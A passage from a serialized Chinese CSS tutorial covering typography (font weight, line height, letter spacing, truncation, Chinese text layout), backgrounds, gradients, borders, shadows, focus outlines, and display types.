的字重表现差别很大，",[22,110775,110776],{},"bold"," 在一种系统上偏细、在另一种上糊成一团。",[11,110779,110780,110782],{},[22,110781,110700],{}," 取操作系统界面字体，优点是零下载、风格与用户设备一致；缺点是各平台长得不一样，做品牌感强的标题时通常换成西文品牌字体 + 中文族名的组合。",[11,110784,110785,110786,110789,110790,110792],{},"网络字体用 ",[22,110787,110788],{},"@font-face"," 声明，配 ",[22,110791,16542],{},"（先回退字显示、下载完再换），否则首屏会出现一段纯白文字（FOIT）。中文字体动辄几 MB，务必只加载需要的字重，或按章节做子集化。",[53,110794,110796,272,110798,272,110800],{"id":110795},"font-sizefont-weightline-height",[22,110797,690],{},[22,110799,109949],{},[22,110801,109618],{},[1773,110803,110804,110812,110841],{},[1662,110805,110806,110811],{},[17,110807,110808,110809],{},"字号用 ",[22,110810,109814],{},"：根字号是用户\u002F浏览器设置的入口，全站用 rem 时这一设置才真的起作用。正文不小于 14px，可点击文字建议 16px。",[1662,110813,110814,4839,110817,655,110819,655,110821,110823,110824,110826,110827,110829,110830,110833,110834,110837,110838,110840],{},[17,110815,110816],{},"字重优先用数字",[22,110818,10631],{},[22,110820,72571],{},[22,110822,78308],{},"），别依赖 ",[22,110825,110776],{}," 关键字：",[22,110828,110776],{}," 固定映射到 700，而中文字体常常只有 400 与 700 两档，浏览器会",[17,110831,110832],{},"合成","加粗（人为描边），中文一多就糊。中文正文里 ",[22,110835,110836],{},"font-weight: 600"," 往往比 ",[22,110839,110776],{}," 更耐看。",[1662,110842,110843,322,110846,110849,110850,110853,110854,110857,110858,110861],{},[17,110844,110845],{},"行高写无单位数字",[22,110847,110848],{},"line-height: 1.7"," 相对",[17,110851,110852],{},"本元素字号","计算且继承的是这个数字；写成 ",[22,110855,110856],{},"1.7em"," 时子元素会按",[17,110859,110860],{},"自己的字号","再乘一次，嵌套层级一深就翻倍。中文正文建议 1.6–1.8，标题 1.2–1.3。",[11,110863,110864,110866,110867,18878,110870,5160,110872,110875,110876,110879],{},[22,110865,645],{}," 简写顺序固定：",[22,110868,110869],{},"font: style variant weight size\u002Fline-height family",[22,110871,67771],{},[22,110873,110874],{},"family"," 必填，缺省时其余部分会被重置为初始值——这也是为什么「只想要 ",[22,110877,110878],{},"font: 16px sans-serif"," 而不重置行高」是错的写法。",[53,110881,110883],{"id":110882},"字距词距与大小写","字距、词距与大小写",[11,110885,110886,29688,110888,110890,110891,4839,110894,110897,110898,4839,110901,110904,110905,4813,110908,110911],{},[22,110887,109624],{},[22,110889,109830],{}," 为单位才随字号变化：大标题需要",[17,110892,110893],{},"负字距",[22,110895,110896],{},"-0.02em","）才不显松散，全大写的小标签需要",[17,110899,110900],{},"正字距",[22,110902,110903],{},".08em","–",[22,110906,110907],{},".12em",[22,110909,110910],{},"word-spacing"," 只影响词间空白，中文几乎没有词，主要作用于西文。",[11,110913,110914,110917,110918,110921],{},[22,110915,110916],{},"text-transform: uppercase"," 只改显示、不改 DOM 文本，因此对搜索、复制、读屏都可能造成偏差；中文还有 ",[22,110919,110920],{},"full-width"," 值。做小标签时用它，但正文内容不要用（英语句首大写规则会丢失）。",[53,110923,110924],{"id":110924},"对齐与装饰",[11,110926,110927,110930,110931,655,110934,655,110937,655,110940,161,110943,110945,110946,110949,110950,110952,110953,110955,110956,110959],{},[22,110928,110929],{},"text-align"," 管行内内容在块里的对齐：",[22,110932,110933],{},"left",[22,110935,110936],{},"right",[22,110938,110939],{},"center",[22,110941,110942],{},"justify",[22,110944,110942],{}," 在西文里要配 ",[22,110947,110948],{},"hyphens: auto"," 和正确的 ",[22,110951,66165],{},"，否则词间空隙会夸张到出现「河流」；中文用 ",[22,110954,110942],{}," 效果接近两端对齐但没有连字符机制。",[22,110957,110958],{},"text-align-last"," 单独控制最后一行。",[11,110961,110962,110965,110966,322],{},[22,110963,110964],{},"text-decoration"," 家族需要注意它是",[17,110967,110968],{},"画在文字上而非盒子下",[308,110970,110972],{"className":108720,"code":110971,"language":108722,"meta":314,"style":314},"a { text-decoration: underline; text-underline-offset: 3px; text-decoration-thickness: 1px; }\n",[22,110973,110974],{"__ignoreMap":314},[331,110975,110976,110978,110980,110982,110984,110987,110989,110992,110994,110996,110998,111000,111003,111005,111007,111009],{"class":333,"line":334},[331,110977,30],{"class":497},[331,110979,605],{"class":337},[331,110981,110964],{"class":344},[331,110983,348],{"class":337},[331,110985,110986],{"class":344},"underline",[331,110988,620],{"class":337},[331,110990,110991],{"class":344},"text-underline-offset",[331,110993,348],{"class":337},[331,110995,351],{"class":344},[331,110997,617],{"class":616},[331,110999,620],{"class":337},[331,111001,111002],{"class":344},"text-decoration-thickness",[331,111004,348],{"class":337},[331,111006,7993],{"class":344},[331,111008,617],{"class":616},[331,111010,664],{"class":337},[11,111012,111013,111015,111016,23069,111019,111022],{},[22,111014,110991],{}," 让下划线离开基线，中文尤其需要（汉字下沿低，默认位置容易贴着笔画）。删除上下划线时写 ",[22,111017,111018],{},"text-decoration-line: none",[22,111020,111021],{},"text-decoration: none","，后者会重置整族属性。",[53,111024,111026,111028],{"id":111025},"white-space断行与截断",[22,111027,110668],{},"、断行与截断",[11,111030,111031],{},"这一组属性治的是「文字撑破容器」：",[1773,111033,111034,111040,111046,111052,111065],{},[1662,111035,111036,111039],{},[22,111037,111038],{},"white-space: nowrap"," 禁止折行（表格单元格里让数字成行最方便）；",[1662,111041,111042,111045],{},[22,111043,111044],{},"white-space: pre-wrap"," 保留用户输入的换行和空格（评论区必需）；",[1662,111047,111048,111051],{},[22,111049,111050],{},"overflow-wrap: anywhere"," 让超长单词（长 URL、base64）强制拆断；",[1662,111053,111054,111057,111058,111061,111062,5177],{},[22,111055,111056],{},"word-break: break-all"," 允许在任意字符间断行，中英混排有时需要，但纯西文会拆得很丑；",[22,111059,111060],{},"keep-all"," 禁止中文断行（避免句首出现孤立标点时可用 ",[22,111063,111064],{},"line-break: strict",[1662,111066,111067,111069,111070,161],{},[22,111068,110948],{}," 需要元素或祖先有正确的 ",[22,111071,66165],{},[11,111073,111074],{},"单行截断是固定的三件套：",[308,111076,111078],{"className":108720,"code":111077,"language":108722,"meta":314,"style":314},".truncate { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }\n",[22,111079,111080],{"__ignoreMap":314},[331,111081,111082,111085,111087,111089,111091,111094,111096,111098,111100,111103,111105,111108,111110,111113],{"class":333,"line":334},[331,111083,111084],{"class":501},".truncate",[331,111086,605],{"class":337},[331,111088,110668],{"class":344},[331,111090,348],{"class":337},[331,111092,111093],{"class":344},"nowrap",[331,111095,620],{"class":337},[331,111097,109663],{"class":344},[331,111099,348],{"class":337},[331,111101,111102],{"class":344},"hidden",[331,111104,620],{"class":337},[331,111106,111107],{"class":344},"text-overflow",[331,111109,348],{"class":337},[331,111111,111112],{"class":344},"ellipsis",[331,111114,664],{"class":337},[11,111116,111117],{},"多行截断目前仍是带前缀的写法（但所有主流内核都支持，属事实标准）：",[308,111119,111121],{"className":108720,"code":111120,"language":108722,"meta":314,"style":314},".clamp-2 { display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; }\n",[22,111122,111123],{"__ignoreMap":314},[331,111124,111125,111128,111130,111132,111134,111137,111139,111142,111144,111146,111148,111151,111153,111156,111158,111160,111162,111164],{"class":333,"line":334},[331,111126,111127],{"class":501},".clamp-2",[331,111129,605],{"class":337},[331,111131,20238],{"class":344},[331,111133,348],{"class":337},[331,111135,111136],{"class":344},"-webkit-box",[331,111138,620],{"class":337},[331,111140,111141],{"class":344},"-webkit-line-clamp",[331,111143,348],{"class":337},[331,111145,9292],{"class":344},[331,111147,620],{"class":337},[331,111149,111150],{"class":344},"-webkit-box-orient",[331,111152,348],{"class":337},[331,111154,111155],{"class":344},"vertical",[331,111157,620],{"class":337},[331,111159,109663],{"class":344},[331,111161,348],{"class":337},[331,111163,111102],{"class":344},[331,111165,664],{"class":337},[11,111167,111168,111169,111172,111173,111175],{},"被截断的文字仍在 DOM 里：读屏会念全文，用户选中复制也能拿到全文，但",[17,111170,111171],{},"看不见的那部分等于不存在","——关键信息不要靠截断承载，配合 ",[22,111174,581],{}," 属性或「展开」按钮。",[53,111177,111178],{"id":111178},"中文排版的三个特殊点",[1659,111180,111181,111195,111201],{},[1662,111182,111183,4839,111186,56789,111189,4839,111192,111194],{},[17,111184,111185],{},"标点悬挂",[22,111187,111188],{},"hanging-punctuation",[17,111190,111191],{},"行首禁止字符",[22,111193,111064],{},"）能消掉中文段落「行首一个逗号」的难看；Safari 支持较好，Chrome 一线在演进，写它属于渐进增强。",[1662,111196,111197,111200],{},[17,111198,111199],{},"行高与视觉密度","：汉字是方块字，没有西文的上伸下延，同样行高下中文显得更密。中文段落行高比同字号西文再加大约 0.1–0.2 才舒服。",[1662,111202,111203,111211,111212,111215,111216,4839,111218,111220],{},[17,111204,111205,111206,6745,111208,111210],{},"行长用 ",[22,111207,109879],{},[22,111209,109892],{}," 限制","：西文正文一行 45–75 字符最易读，",[22,111213,111214],{},"max-width: 65ch","；中文可以用 ",[22,111217,109901],{},[22,111219,109892],{}," = 一个「水」字的宽度）达到同样效果。",[48,111222,111224],{"id":111223},"八背景边框与阴影视觉层次靠这三样","八、背景、边框与阴影：视觉层次靠这三样",[4748,111226],{"height":6589,"src":111227,"title":111228},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F08-background-border.html","示例 08：background 各轴、多层背景、圆角与阴影",[53,111230,111232,5160,111235],{"id":111231},"background-image-与-background-size",[22,111233,111234],{},"background-image",[22,111236,111237],{},"background-size",[11,111239,111240,111241,111243,111244,272,111246,272,111248,272,111250,272,111253,272,111256,111259],{},"背景的多条轴各自独立：",[22,111242,53371],{},"（图或渐变）、",[22,111245,109652],{},[22,111247,67771],{},[22,111249,65629],{},[22,111251,111252],{},"origin",[22,111254,111255],{},"clip",[22,111257,111258],{},"attachment","。最常配的是封面图三件套：",[308,111261,111263],{"className":108720,"code":111262,"language":108722,"meta":314,"style":314},".hero { background-image: url(hero.jpg); background-size: cover; background-position: center; }\n",[22,111264,111265],{"__ignoreMap":314},[331,111266,111267,111270,111272,111274,111276,111278,111280,111283,111285,111287,111289,111292,111294,111296,111298,111300],{"class":333,"line":334},[331,111268,111269],{"class":501},".hero",[331,111271,605],{"class":337},[331,111273,111234],{"class":344},[331,111275,348],{"class":337},[331,111277,18769],{"class":344},[331,111279,966],{"class":337},[331,111281,111282],{"class":2472},"hero.jpg",[331,111284,24886],{"class":337},[331,111286,111237],{"class":344},[331,111288,348],{"class":337},[331,111290,111291],{"class":344},"cover",[331,111293,620],{"class":337},[331,111295,108831],{"class":344},[331,111297,348],{"class":337},[331,111299,110939],{"class":344},[331,111301,664],{"class":337},[11,111303,111304,111306,111307,111310,111311,111313,111314,4809,111317,111320,111321,111324,111325,111327],{},[22,111305,111291],{}," 铺满且不变形，代价是可能裁掉内容；",[22,111308,111309],{},"contain"," 完整显示，代价是可能留白。人物照片做背景时 ",[22,111312,111291],{}," 常把脸裁掉，用 ",[22,111315,111316],{},"object-fit",[22,111318,111319],{},"\u003Cimg>","（第十三章）比背景图更好控制，因为可以用 ",[22,111322,111323],{},"object-position"," 精确指定保留区域，且图片能被 ",[22,111326,18830],{}," 与懒加载覆盖。",[11,111329,111330,111332,111333,111336],{},[22,111331,108831],{}," 的百分比语义容易记错：",[22,111334,111335],{},"50% 50%"," 是「图片的 50% 处对齐容器的 50% 处」，不是「距左 50%」。",[11,111338,111339,655,111342,111345],{},[22,111340,111341],{},"background-origin",[22,111343,111344],{},"background-clip"," 决定绘制从哪算起、画到哪结束。最常用的是文字裁切：",[308,111347,111349],{"className":108720,"code":111348,"language":108722,"meta":314,"style":314},".gradient-text {\n  background: linear-gradient(90deg, #0969da, #8250df);\n  -webkit-background-clip: text;\n  background-clip: text;\n  color: transparent;\n}\n",[22,111350,111351,111358,111385,111396,111407,111417],{"__ignoreMap":314},[331,111352,111353,111356],{"class":333,"line":334},[331,111354,111355],{"class":501},".gradient-text",[331,111357,1100],{"class":337},[331,111359,111360,111363,111365,111368,111370,111372,111374,111376,111378,111380,111383],{"class":333,"line":341},[331,111361,111362],{"class":344},"  background",[331,111364,348],{"class":337},[331,111366,111367],{"class":344},"linear-gradient",[331,111369,966],{"class":337},[331,111371,87582],{"class":344},[331,111373,109953],{"class":616},[331,111375,409],{"class":337},[331,111377,109986],{"class":344},[331,111379,409],{"class":337},[331,111381,111382],{"class":344},"#8250df",[331,111384,37982],{"class":337},[331,111386,111387,111390,111392,111394],{"class":333,"line":357},[331,111388,111389],{"class":344},"  -webkit-background-clip",[331,111391,348],{"class":337},[331,111393,313],{"class":344},[331,111395,108769],{"class":337},[331,111397,111398,111401,111403,111405],{"class":333,"line":371},[331,111399,111400],{"class":344},"  background-clip",[331,111402,348],{"class":337},[331,111404,313],{"class":344},[331,111406,108769],{"class":337},[331,111408,111409,111411,111413,111415],{"class":333,"line":384},[331,111410,108745],{"class":344},[331,111412,348],{"class":337},[331,111414,35030],{"class":344},[331,111416,108769],{"class":337},[331,111418,111419],{"class":333,"line":397},[331,111420,459],{"class":337},[11,111422,4839,111423,111426,111427,111430,111431,111433],{},[22,111424,111425],{},"background-clip: text"," 现在主流内核都支持，但",[17,111428,111429],{},"必须保证文字有回退色","，且它会让真实 ",[22,111432,109612],{}," 失效——不要对正文大范围使用，装饰标题为宜。）",[53,111435,111437],{"id":111436},"多层背景先写的在上面","多层背景：先写的在上面",[308,111439,111441],{"className":108720,"code":111440,"language":108722,"meta":314,"style":314},".card-hero {\n  background-image:\n    radial-gradient(circle at 20% 30%, rgba(255,255,255,.35), transparent 40%),\n    repeating-linear-gradient(90deg, rgba(255,255,255,.12) 0 6px, transparent 6px 14px),\n    linear-gradient(135deg, #0969da, #8250df);\n  background-size: auto, auto, 100% 100%;\n}\n",[22,111442,111443,111450,111457,111513,111568,111590,111615],{"__ignoreMap":314},[331,111444,111445,111448],{"class":333,"line":334},[331,111446,111447],{"class":501},".card-hero",[331,111449,1100],{"class":337},[331,111451,111452,111455],{"class":333,"line":341},[331,111453,111454],{"class":344},"  background-image",[331,111456,53423],{"class":337},[331,111458,111459,111462,111464,111467,111470,111472,111474,111476,111478,111480,111483,111485,111488,111491,111493,111495,111497,111499,111502,111504,111506,111509,111511],{"class":333,"line":357},[331,111460,111461],{"class":344},"    radial-gradient",[331,111463,966],{"class":337},[331,111465,111466],{"class":344},"circle",[331,111468,111469],{"class":616}," at",[331,111471,64166],{"class":344},[331,111473,715],{"class":616},[331,111475,58630],{"class":344},[331,111477,715],{"class":616},[331,111479,409],{"class":337},[331,111481,111482],{"class":344},"rgba",[331,111484,966],{"class":337},[331,111486,111487],{"class":344},"255",[331,111489,111490],{"class":337},",",[331,111492,111487],{"class":344},[331,111494,111490],{"class":337},[331,111496,111487],{"class":344},[331,111498,111490],{"class":337},[331,111500,111501],{"class":344},".35",[331,111503,72027],{"class":337},[331,111505,35030],{"class":344},[331,111507,111508],{"class":344}," 40",[331,111510,715],{"class":616},[331,111512,30187],{"class":337},[331,111514,111515,111518,111520,111522,111524,111526,111528,111530,111532,111534,111536,111538,111540,111542,111545,111547,111549,111551,111553,111555,111557,111559,111561,111564,111566],{"class":333,"line":371},[331,111516,111517],{"class":344},"    repeating-linear-gradient",[331,111519,966],{"class":337},[331,111521,87582],{"class":344},[331,111523,109953],{"class":616},[331,111525,409],{"class":337},[331,111527,111482],{"class":344},[331,111529,966],{"class":337},[331,111531,111487],{"class":344},[331,111533,111490],{"class":337},[331,111535,111487],{"class":344},[331,111537,111490],{"class":337},[331,111539,111487],{"class":344},[331,111541,111490],{"class":337},[331,111543,111544],{"class":344},".12",[331,111546,3180],{"class":337},[331,111548,628],{"class":344},[331,111550,77285],{"class":344},[331,111552,617],{"class":616},[331,111554,409],{"class":337},[331,111556,35030],{"class":344},[331,111558,77285],{"class":344},[331,111560,617],{"class":616},[331,111562,111563],{"class":344}," 14",[331,111565,617],{"class":616},[331,111567,30187],{"class":337},[331,111569,111570,111573,111575,111578,111580,111582,111584,111586,111588],{"class":333,"line":384},[331,111571,111572],{"class":344},"    linear-gradient",[331,111574,966],{"class":337},[331,111576,111577],{"class":344},"135",[331,111579,109953],{"class":616},[331,111581,409],{"class":337},[331,111583,109986],{"class":344},[331,111585,409],{"class":337},[331,111587,111382],{"class":344},[331,111589,37982],{"class":337},[331,111591,111592,111595,111597,111599,111601,111603,111605,111607,111609,111611,111613],{"class":333,"line":397},[331,111593,111594],{"class":344},"  background-size",[331,111596,348],{"class":337},[331,111598,90367],{"class":344},[331,111600,409],{"class":337},[331,111602,90367],{"class":344},[331,111604,409],{"class":337},[331,111606,712],{"class":344},[331,111608,715],{"class":616},[331,111610,49936],{"class":344},[331,111612,715],{"class":616},[331,111614,108769],{"class":337},[331,111616,111617],{"class":333,"line":418},[331,111618,459],{"class":337},[11,111620,111621,111622,111624,111625,111628],{},"逗号分隔的每一层对应一组值；某一层少写的值会往回取该属性的第一个值（所以只写一个 ",[22,111623,108831],{}," 时所有层共用它）。层与层之间可以用 ",[22,111626,111627],{},"background-blend-mode"," 指定混合方式。这个「一层高光 + 一层纹理 + 一层底色」的结构，就是不用图片做出有质感封面的标准配方。",[53,111630,111632,111633,111636],{"id":111631},"渐变它是-image不是颜色","渐变：它是 ",[22,111634,111635],{},"\u003Cimage>","，不是颜色",[11,111638,111639,272,111642,272,111645,111648],{},[22,111640,111641],{},"linear-gradient()",[22,111643,111644],{},"radial-gradient()",[22,111646,111647],{},"conic-gradient()","（第十九章细讲）都能出现在任何接受图片值的地方。两个高频技巧：",[308,111650,111652],{"className":108720,"code":111651,"language":108722,"meta":314,"style":314},"\u002F* 硬切色带：同一位置写两次色标 *\u002F\n.progress { background: linear-gradient(90deg, var(--c-primary) 62%, #eaeef2 62%); }\n\u002F* 斜纹\u002F斑马线：repeating-linear-gradient *\u002F\n.zebra { background: repeating-linear-gradient(45deg, #fff8c5 0 10px, transparent 10px 20px); }\n",[22,111653,111654,111659,111706,111711],{"__ignoreMap":314},[331,111655,111656],{"class":333,"line":334},[331,111657,111658],{"class":1003},"\u002F* 硬切色带：同一位置写两次色标 *\u002F\n",[331,111660,111661,111664,111666,111668,111670,111672,111674,111676,111678,111680,111682,111684,111686,111688,111691,111693,111695,111698,111701,111703],{"class":333,"line":341},[331,111662,111663],{"class":501},".progress",[331,111665,605],{"class":337},[331,111667,35025],{"class":344},[331,111669,348],{"class":337},[331,111671,111367],{"class":344},[331,111673,966],{"class":337},[331,111675,87582],{"class":344},[331,111677,109953],{"class":616},[331,111679,409],{"class":337},[331,111681,18923],{"class":344},[331,111683,966],{"class":337},[331,111685,110170],{"class":2472},[331,111687,3180],{"class":337},[331,111689,111690],{"class":344},"62",[331,111692,715],{"class":616},[331,111694,409],{"class":337},[331,111696,111697],{"class":344},"#eaeef2",[331,111699,111700],{"class":344}," 62",[331,111702,715],{"class":616},[331,111704,111705],{"class":337},"); }\n",[331,111707,111708],{"class":333,"line":357},[331,111709,111710],{"class":1003},"\u002F* 斜纹\u002F斑马线：repeating-linear-gradient *\u002F\n",[331,111712,111713,111716,111718,111720,111722,111725,111727,111730,111732,111734,111737,111739,111741,111743,111745,111747,111749,111751,111753,111755],{"class":333,"line":371},[331,111714,111715],{"class":501},".zebra",[331,111717,605],{"class":337},[331,111719,35025],{"class":344},[331,111721,348],{"class":337},[331,111723,111724],{"class":344},"repeating-linear-gradient",[331,111726,966],{"class":337},[331,111728,111729],{"class":344},"45",[331,111731,109953],{"class":616},[331,111733,409],{"class":337},[331,111735,111736],{"class":344},"#fff8c5",[331,111738,680],{"class":344},[331,111740,49145],{"class":344},[331,111742,617],{"class":616},[331,111744,409],{"class":337},[331,111746,35030],{"class":344},[331,111748,49145],{"class":344},[331,111750,617],{"class":616},[331,111752,64166],{"class":344},[331,111754,617],{"class":616},[331,111756,111705],{"class":337},[53,111758,111760],{"id":111759},"边框宽度样式圆角","边框：宽度、样式、圆角",[11,111762,111763,111765,111766,111768],{},[22,111764,24063],{}," 是盒子的一部分（",[22,111767,109106],{}," 下从宽度里扣），改宽度会挤动内容。四条规则：",[308,111770,111772],{"className":108720,"code":111771,"language":108722,"meta":314,"style":314},".card:hover { border-color: #0969da; }        \u002F* 只换色不换宽：避免 hover 时内容跳动 *\u002F\n.card { border: 1px solid #d0d7de; border-left: 4px solid #0969da; }  \u002F* 左侧强调条 *\u002F\n.pill { border-radius: 999px; }               \u002F* 胶囊 *\u002F\n.leaf { border-radius: 12px 4px 12px 4px; }   \u002F* 四角不同：左上 右上 右下 左下 *\u002F\n",[22,111773,111774,111793,111833,111856],{"__ignoreMap":314},[331,111775,111776,111779,111781,111784,111786,111788,111790],{"class":333,"line":334},[331,111777,111778],{"class":501},".card:hover",[331,111780,605],{"class":337},[331,111782,111783],{"class":344},"border-color",[331,111785,348],{"class":337},[331,111787,109986],{"class":344},[331,111789,110594],{"class":337},[331,111791,111792],{"class":1003},"\u002F* 只换色不换宽：避免 hover 时内容跳动 *\u002F\n",[331,111794,111795,111797,111799,111801,111803,111805,111807,111809,111812,111814,111817,111819,111821,111823,111825,111828,111830],{"class":333,"line":341},[331,111796,109053],{"class":501},[331,111798,605],{"class":337},[331,111800,24063],{"class":344},[331,111802,348],{"class":337},[331,111804,7993],{"class":344},[331,111806,617],{"class":616},[331,111808,24072],{"class":344},[331,111810,111811],{"class":344}," #d0d7de",[331,111813,620],{"class":337},[331,111815,111816],{"class":344},"border-left",[331,111818,348],{"class":337},[331,111820,15097],{"class":344},[331,111822,617],{"class":616},[331,111824,24072],{"class":344},[331,111826,111827],{"class":344}," #0969da",[331,111829,110305],{"class":337},[331,111831,111832],{"class":1003},"\u002F* 左侧强调条 *\u002F\n",[331,111834,111835,111838,111840,111843,111845,111848,111850,111853],{"class":333,"line":357},[331,111836,111837],{"class":501},".pill",[331,111839,605],{"class":337},[331,111841,111842],{"class":344},"border-radius",[331,111844,348],{"class":337},[331,111846,111847],{"class":344},"999",[331,111849,617],{"class":616},[331,111851,111852],{"class":337},"; }               ",[331,111854,111855],{"class":1003},"\u002F* 胶囊 *\u002F\n",[331,111857,111858,111861,111863,111865,111867,111869,111871,111873,111875,111877,111879,111881,111883,111885],{"class":333,"line":371},[331,111859,111860],{"class":501},".leaf",[331,111862,605],{"class":337},[331,111864,111842],{"class":344},[331,111866,348],{"class":337},[331,111868,93883],{"class":344},[331,111870,617],{"class":616},[331,111872,43890],{"class":344},[331,111874,617],{"class":616},[331,111876,683],{"class":344},[331,111878,617],{"class":616},[331,111880,43890],{"class":344},[331,111882,617],{"class":616},[331,111884,35033],{"class":337},[331,111886,111887],{"class":1003},"\u002F* 四角不同：左上 右上 右下 左下 *\u002F\n",[11,111889,111890,111892,111893,111896,111897,111900,111901,161],{},[22,111891,111842],{}," 可以写 ",[22,111894,111895],{},"12px \u002F 24px","（水平\u002F垂直半径不同）做出椭圆角；",[22,111898,111899],{},"border-radius: 50%"," 得到圆（元素必须是正方形，否则是椭圆）。",[17,111902,111903,111904,111907],{},"圆形头像更稳的做法是图片自身保持正方形 + ",[22,111905,111906],{},"object-fit: cover"," + 圆角",[11,111909,111910,111911,111914,111915,111917,111918,161],{},"边框想「不占空间」时用 ",[22,111912,111913],{},"outline","：它在盒子外绘制、不影响布局，但保持矩形（新内核已跟随圆角）。所以焦点环用 ",[22,111916,111913],{},"，装饰用 ",[22,111919,111920],{},"box-shadow",[53,111922,111924,111926],{"id":111923},"box-shadow-的四个可省参数",[22,111925,111920],{}," 的四个可省参数",[11,111928,111929,111930,111933,111934,111937],{},"语法 ",[22,111931,111932],{},"inset? offset-x offset-y blur? spread? color","。模糊半径为 0 时得到硬阴影，做复古\u002F新粗野风格；",[22,111935,111936],{},"inset"," 得到内阴影，可当描边；一个选择器里可以叠多层：",[308,111939,111941],{"className":108720,"code":111940,"language":108722,"meta":314,"style":314},".tile { box-shadow: inset 0 0 0 1px #d0d7de; }              \u002F* 不占布局的 1px 描边 *\u002F\n.pop  { box-shadow: 0 1px 3px rgba(0,0,0,.12), 0 8px 24px rgba(0,0,0,.14); }  \u002F* 近处锐利 + 远处扩散 *\u002F\n",[22,111942,111943,111974],{"__ignoreMap":314},[331,111944,111945,111948,111950,111952,111954,111956,111958,111960,111962,111964,111966,111968,111971],{"class":333,"line":334},[331,111946,111947],{"class":501},".tile",[331,111949,605],{"class":337},[331,111951,111920],{"class":344},[331,111953,348],{"class":337},[331,111955,111936],{"class":344},[331,111957,680],{"class":344},[331,111959,680],{"class":344},[331,111961,680],{"class":344},[331,111963,30777],{"class":344},[331,111965,617],{"class":616},[331,111967,111811],{"class":344},[331,111969,111970],{"class":337},"; }              ",[331,111972,111973],{"class":1003},"\u002F* 不占布局的 1px 描边 *\u002F\n",[331,111975,111976,111979,111982,111984,111986,111988,111990,111992,111994,111996,111999,112001,112003,112005,112007,112009,112011,112013,112015,112017,112019,112021,112023,112025,112027,112029,112031,112033,112035,112037,112039,112041,112043,112046,112049],{"class":333,"line":341},[331,111977,111978],{"class":501},".pop",[331,111980,111981],{"class":337},"  { ",[331,111983,111920],{"class":344},[331,111985,348],{"class":337},[331,111987,628],{"class":344},[331,111989,30777],{"class":344},[331,111991,617],{"class":616},[331,111993,59421],{"class":344},[331,111995,617],{"class":616},[331,111997,111998],{"class":344}," rgba",[331,112000,966],{"class":337},[331,112002,628],{"class":344},[331,112004,111490],{"class":337},[331,112006,628],{"class":344},[331,112008,111490],{"class":337},[331,112010,628],{"class":344},[331,112012,111490],{"class":337},[331,112014,111544],{"class":344},[331,112016,72027],{"class":337},[331,112018,628],{"class":344},[331,112020,82520],{"class":344},[331,112022,617],{"class":616},[331,112024,10605],{"class":344},[331,112026,617],{"class":616},[331,112028,111998],{"class":344},[331,112030,966],{"class":337},[331,112032,628],{"class":344},[331,112034,111490],{"class":337},[331,112036,628],{"class":344},[331,112038,111490],{"class":337},[331,112040,628],{"class":344},[331,112042,111490],{"class":337},[331,112044,112045],{"class":344},".14",[331,112047,112048],{"class":337},"); }  ",[331,112050,112051],{"class":1003},"\u002F* 近处锐利 + 远处扩散 *\u002F\n",[11,112053,112054,112055,112058],{},"两层阴影是「像真的」的关键：只有一层大模糊的阴影看起来发灰，像蒙了雾。同理，暗色主题下阴影几乎看不见，应改用",[17,112056,112057],{},"更亮的边框","表达层次，而不是加深阴影。",[11,112060,4343,112061,112063,112064,112066],{},[22,112062,111920],{}," 的动画代价高（要重绘），需要动效时改为「阴影写在伪元素上、动它的 ",[22,112065,109666],{},"」（第十八章）。",[53,112068,112070],{"id":112069},"焦点可见性不是装饰是合规","焦点可见性不是装饰，是合规",[308,112072,112074],{"className":108720,"code":112073,"language":108722,"meta":314,"style":314},":focus-visible { outline: 3px solid var(--c-primary); outline-offset: 2px; }\n",[22,112075,112076],{"__ignoreMap":314},[331,112077,112078,112080,112082,112084,112086,112088,112090,112092,112094,112096,112098,112100,112103,112105,112107,112109],{"class":333,"line":334},[331,112079,109412],{"class":501},[331,112081,605],{"class":337},[331,112083,111913],{"class":344},[331,112085,348],{"class":337},[331,112087,351],{"class":344},[331,112089,617],{"class":616},[331,112091,24072],{"class":344},[331,112093,24075],{"class":344},[331,112095,966],{"class":337},[331,112097,110170],{"class":2472},[331,112099,24886],{"class":337},[331,112101,112102],{"class":344},"outline-offset",[331,112104,348],{"class":337},[331,112106,9292],{"class":344},[331,112108,617],{"class":616},[331,112110,664],{"class":337},[11,112112,112113,112116,112117,5160,112119,112121],{},[22,112114,112115],{},"outline: none"," 单独出现就是可访问性缺陷；要么保留默认焦点环，要么换一条足够明显的替代样式。",[22,112118,109412],{},[22,112120,109409],{}," 的区别（只在键盘导航时显示焦点环）见第十五章。",[48,112123,112125,112126,112128,112129,112131],{"id":112124},"九display可见性与-float历史与今天的分工","九、",[22,112127,20238],{},"、可见性与 ",[22,112130,40110],{},"：历史与今天的分工",[4748,112133],{"height":24189,"src":112134,"title":112135},"\u002Ftutorials\u002Fcss\u002Fdemos\u002F09-display.html","示例 09：块级行内、三种隐藏与 float 清除",[53,112137,112139,1901,112142,1901,112145],{"id":112138},"block-inline-inline-block",[22,112140,112141],{},"block",[22,112143,112144],{},"inline",[22,112146,112147],{},"inline-block",[11,112149,112150,112152,112153,112156],{},[22,112151,20238],{}," 决定元素参与",[17,112154,112155],{},"哪一种布局算法","，而不是「是否可见」。三种最基础的：",[57,112158,112159,112177],{},[60,112160,112161],{},[63,112162,112163,112165,112168,112171,112174],{},[66,112164],{},[66,112166,112167],{},"常见标签",[66,112169,112170],{},"宽高",[66,112172,112173],{},"垂直 margin",[66,112175,112176],{},"独占一行",[79,112178,112179,112203,112232],{},[63,112180,112181,112185,112195,112198,112201],{},[84,112182,112183],{},[22,112184,112141],{},[84,112186,112187,268,112189,268,112191,268,112193],{},[22,112188,6021],{},[22,112190,11],{},[22,112192,26371],{},[22,112194,1662],{},[84,112196,112197],{},"生效",[84,112199,112200],{},"生效（会塌陷）",[84,112202,60432],{},[63,112204,112205,112209,112223,112226,112230],{},[84,112206,112207],{},[22,112208,112144],{},[84,112210,112211,268,112213,268,112215,268,112217,268,112219,268,112221],{},[22,112212,30],{},[22,112214,331],{},[22,112216,22158],{},[22,112218,22],{},[22,112220,18812],{},[22,112222,19733],{},[84,112224,112225],{},"无效",[84,112227,112228],{},[17,112229,112225],{},[84,112231,60399],{},[63,112233,112234,112238,112241,112243,112246],{},[84,112235,112236],{},[22,112237,112147],{},[84,112239,112240],{},"按钮、徽章、图标",[84,112242,112197],{},[84,112244,112245],{},"生效（不塌陷）",[84,112247,60399],{},[11,112249,112250,112251,112253,112254,112257],{},"行内元素「设了宽高没反应」是初学者最常见的困惑，正确答案通常是把它变成 